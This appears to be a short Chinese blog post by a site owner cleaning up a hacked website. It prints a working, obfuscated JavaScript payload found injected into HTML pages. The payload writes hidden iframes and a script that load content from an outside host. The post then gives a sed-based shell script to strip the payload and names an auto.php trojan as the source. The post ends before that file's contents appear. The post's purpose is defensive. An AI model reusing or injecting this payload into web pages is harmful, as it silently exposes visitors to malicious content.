複製代碼 代碼如下:
# <script language="javascript" type="text/javascript">
# if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+1*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()
# eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5.l(\'<h f=b i=8://m.n.6.4/a/j.d></h><9 7=0 k=1 i="8://m.n.6.4/a/e.c?2"></9><9 7=0 k=1 i="8://m.n.6.4/a/g.c?3"></9>\')',62,24,'|100|YNE|ZGH|cn|document|gov|height|http|iframe|images|javascript|jpg|js|kiss|language|miss|script|src|ubb|width|writeln|www|xcrsrc'.split('|'),0,{}));}
# </script>
確實很讓人頭痛，還是編寫shell 指令碼把這些指令碼去掉
複製代碼 代碼如下:
#!/bin/sh
ls $1/*.htm | while read file
do
sed -i -e "/if(document.cookie.indexOf('helio'/d; /eval(function(p,a,c,k,e,d)/d;" $file
done
但是第二天還是有
最後偶然發現 網站中有個auto.php 檔案比較可疑
查看下內容，果然是木馬的根源
下面是其內容，希望對大家有所協助
